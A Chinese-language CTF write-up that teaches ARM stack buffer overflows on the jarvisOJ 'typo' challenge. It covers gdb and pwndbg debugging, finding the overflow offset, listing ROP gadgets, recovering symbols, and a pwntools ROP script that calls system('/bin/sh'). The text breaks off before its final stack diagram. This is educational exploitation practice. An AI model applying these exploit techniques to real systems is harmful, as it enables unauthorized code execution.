ARM buffer overflow初探
Basic
与x86架构类似,堆栈溢出利用也是基于控制流转移完成。但ARM架构下的寄存器、跳转指令和下一跳略有区别:
- 函数传递参数区别:
- ARM架构:r0~r3寄存器存储函数的1-4个参数,剩下的参数从右向左依次入栈,函数的返回值保存在r0中;
- x86 32位程序将函数参数存在在栈的函数返回地址上方
- x86-64将前6个参数存储在RDI, RSI, RDX, RCX, R8 和 R9 寄存器中,剩下参数保存在栈中
- 跳转指令
- 下一条指令地址:
- ARM架构存在在pc寄存器中
- x86架构则是EIP寄存器
Challenge
题目下载链接: https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/arm/jarvisOJ_typo
初步分析
$ file typo
typo: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=211877f58b5a0e8774b8a3a72c83890f8cd38e63, stripped
ARM架构32位的程序 静态链接
$ checksec typo
[*] '/home/mzgao/rop/bin/typo'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)
什么保护都没开
QEMU运行程序,在第二次输入长字符串时crash,证明存在buffer overflow
$ qemu-arm typo
Let's Do Some Typing Exercise~
Press Enter to get start;
Input ~ if you want to quit
------Begin------
explosive
aaaaaaaaaaaaaaaaaaaaa
E.r.r.o.r.
butter
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
E.r.r.o.r.
achievement
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
利用方法
确定溢出位置
首先在一个terminal中运行type程序
qemu-arm -g 8888 ./typo
然后在另一个terminal中使用gdb调试,连接本地8888端口
使用cyclic 200 生成一个长度为200的随机字符串,然后c继续运行,
在qemu端输入200的字符串,gdb这端则可以计算crash的位置。
$ gdb-multiarch
pwndbg> target remote localhost:8888
Remote debugging using localhost:8888
warning: No executable has been specified and target does not support
determining executable automatically. Try using the "file" command.
0x00008b98 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────────────
R0 0x0
R1 0xfffef5c1 ?— ldmdbvc r4!, {r1, r2, r3, r5, r8, sb, sl, fp, sp} ^ /* 0x79742f2e; './typo' */
R2 0x0
R3 0x0
R4 0x0
R5 0x0
R6 0x0
R7 0x0
R8 0x0
R9 0x0
R10 0x8af6c —? 0xa1e94 —? 0x6ff44 —? 0x7b918 ?— 0x43 /* 'C' */
R11 0x0
R12 0x0
SP 0xfffef490 ?— 1
PC 0x8b98 ?— mov fp, #0 /* 0xe3a0b000 */
─────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────
? 0x8b98 mov fp, #0
0x8b9c mov lr, #0
0x8ba0 pop {r1}
0x8ba4 mov r2, sp
0x8ba8 str r2, [sp, #-4]!
0x8bac str r0, [sp, #-4]!
0x8bb0 ldr ip, [pc, #0x10]
0x8bb4 str ip, [sp, #-4]!
0x8bb8 ldr r0, [pc, #0xc]
0x8bbc ldr r3, [pc, #0xc]
0x8bc0 bl #0x9ebc <0x9ebc>
──────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────
00:0000│ sp 0xfffef490 ?— 1
01:0004│ 0xfffef494 —? 0xfffef5c1 ?— ldmdbvc r4!, {r1, r2, r3, r5, r8, sb, sl, fp, sp} ^ /* 0x79742f2e; './typo' */
02:0008│ 0xfffef498 ?— 0
03:000c│ 0xfffef49c —? 0xfffef5c8 ?— strvc r3, [pc, #-0xd5f]! /* 0x752f3d5f; '_=/usr/bin/qemu-arm' */
04:0010│ 0xfffef4a0 —? 0xfffef5dc ?— subpl r4, r4, pc, asr #24 /* 0x50444c4f; 'OLDPWD=/home/mzgao/rop' */
05:0014│ 0xfffef4a4 —? 0xfffef5f3 ?— ldrbpl r4, [pc], #-0x34c /* 0x545f434c; 'LC_TIME=zh_CN.UTF-8' */
06:0018│ 0xfffef4a8 —? 0xfffef607 ?— cmppl r3, #76, #10 /* 0x5353454c; 'LESSOPEN=| /usr/bin/lesspipe %s' */
07:001c│ 0xfffef4ac —? 0xfffef627 ?— ldmdbmi pc, {r2, r3, r6, r8, sb, lr} ^ /* 0x495f434c; 'LC_IDENTIFICATION=zh_CN.UTF-8' */
────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────
? f 0 0x8b98
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
pwndbg> c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x62616164 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────────────
R0 0x0
*R1 0xfffef294 ?— 0x61616161 ('aaaa')
*R2 0x7e
R3 0x0
*R4 0x62616162 ('baab')
R5 0x0
R6 0x0
R7 0x0
R8 0x0
*R9 0xa5ec ?— push {r3, r4, r5, r6, r7, r8, sb, lr} /* 0xe92d43f8 */
*R10 0xa68c ?— push {r3, r4, r5, lr} /* 0xe92d4038 */
*R11 0x62616163 ('caab')
R12 0x0
*SP 0xfffef308 ?— rsbvs r6, r1, #0x40000019 /* 0x62616165; 'eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n' */
*PC 0x62616164 ('daab')
─────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────
Invalid address 0x62616164
──────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────
00:0000│ sp 0xfffef308 ?— rsbvs r6, r1, #0x40000019 /* 0x62616165; 'eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n' */
01:0004│ 0xfffef30c ?— rsbvs r6, r1, #0x80000019 /* 0x62616166; 'faabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n' */
02:0008│ 0xfffef310 ?— rsbvs r6, r1, #0xc0000019 /* 0x62616167; 'gaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n' */
03:000c│ 0xfffef314 ?— rsbvs r6, r1, #104, #2 /* 0x62616168; 'haabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n' */
04:0010│ 0xfffef318 ?— rsbvs r6, r1, #0x4000001a /* 0x62616169; 'iaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n' */
05:0014│ 0xfffef31c ?— rsbvs r6, r1, #0x8000001a /* 0x6261616a; 'jaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n' */
06:0018│ 0xfffef320 ?— rsbvs r6, r1, #0xc000001a /* 0x6261616b; 'kaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n' */
07:001c│ 0xfffef324 ?— rsbvs r6, r1, #108, #2 /* 0x6261616c; 'laabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n' */
────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────
? f 0 0x62616164
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> cyclic -l 0x62616164
112
112个偏移位置
查找相关gadgets
$ ROPgadget --binary typo --only "pop"
Gadgets information
============================================================
0x00008d1c : pop {fp, pc}
0x00020904 : pop {r0, r4, pc}
0x00068bec : pop {r1, pc}
0x00008160 : pop {r3, pc}
0x0000ab0c : pop {r3, r4, r5, pc}
0x0000a958 : pop {r3, r4, r5, r6, r7, pc}
0x00008a3c : pop {r3, r4, r5, r6, r7, r8, fp, pc}
0x0000a678 : pop {r3, r4, r5, r6, r7, r8, sb, pc}
0x00008520 : pop {r3, r4, r5, r6, r7, r8, sb, sl, fp, pc}
0x00068c68 : pop {r3, r4, r5, r6, r7, r8, sl, pc}
0x00014a70 : pop {r3, r4, r7, pc}
0x00008de8 : pop {r4, fp, pc}
0x000083b0 : pop {r4, pc}
0x00008eec : pop {r4, r5, fp, pc}
0x00009284 : pop {r4, r5, pc}
0x000242e0 : pop {r4, r5, r6, fp, pc}
0x000095b8 : pop {r4, r5, r6, pc}
0x000212ec : pop {r4, r5, r6, r7, fp, pc}
0x000082e8 : pop {r4, r5, r6, r7, pc}
0x00043110 : pop {r4, r5, r6, r7, r8, fp, pc}
0x00011648 : pop {r4, r5, r6, r7, r8, pc}
0x00048e9c : pop {r4, r5, r6, r7, r8, sb, fp, pc}
0x0000a5a0 : pop {r4, r5, r6, r7, r8, sb, pc}
0x0000870c : pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}
0x00011c24 : pop {r4, r5, r6, r7, r8, sb, sl, pc}
0x000553cc : pop {r4, r5, r6, r7, r8, sl, pc}
0x00023ed4 : pop {r4, r5, r7, pc}
0x00023dbc : pop {r4, r7, pc}
0x00014068 : pop {r7, pc}
Unique gadgets found: 29
查找既能控制pc寄存器的,也能控制r0寄存器的gadgets即可
因此使用如下gadget
0x00020904 : pop {r0, r4, pc}
查找字符串位置
$ ROPgadget --binary typo --string "bin/sh"
Strings information
============================================================
0x0006c385 : bin/sh
查找system函数位置
发现没有system函数位置,应该符号表被去除了,使用rizzo恢复符号表。
https://github.com/fireundubh/IDA7-Rizzo
Just copy rizzo.py into your IDA plugins directory.
将rizzo.py移动到ida的插件目录中
先用对相应架构的libc进行签名(File->Produce file->Rizzo signature file),然后在typo里读取签名(File->Load file->Rizzo signature file),即可恢复一部分
笔者是在服务器中随意找了个libc2.27.so
$ cp /usr/aarch64-linux-gnu/lib/libc-2.27.so ./
首先使用ida打开该libc,然后导出Rizzo符号表。
再打开typo,导入刚才导出的Rizzo符号表。
在没有恢复符号前,并没有system函数地址:
恢复符号后,即可看到system地址是0x000110B4:
EXP
此时栈内存如下:
from pwn import *
import sys
payload = 'a' * 112 + p32(0x00020904).decode("iso-8859-1") + p32(0x0006c384).decode('iso-8859-1') * 2 + p32(0x000110B4).decode('iso-8859-1')
lrpayload = 'a' * 112 + p32(0x00014a70).decode('iso-8859-1') + p32(0x000096e0).decode('iso-8859-1') + 'aaaa'*2 + p32(0x00053004).decode('iso-8859-1') + 'aaaa' + p32(0x00020904).decode('iso-8859-1') + p32(0x0006c384).decode('iso-8859-1') *2 + p32(0x000110B4).decode('iso-8859-1')
io = process('./typo')
io.recv()
io.sendline()
io.sendline(payload)
io.interactive()
其中lrpayload采用了一种更加复杂的跳转实现,栈结构如下:
|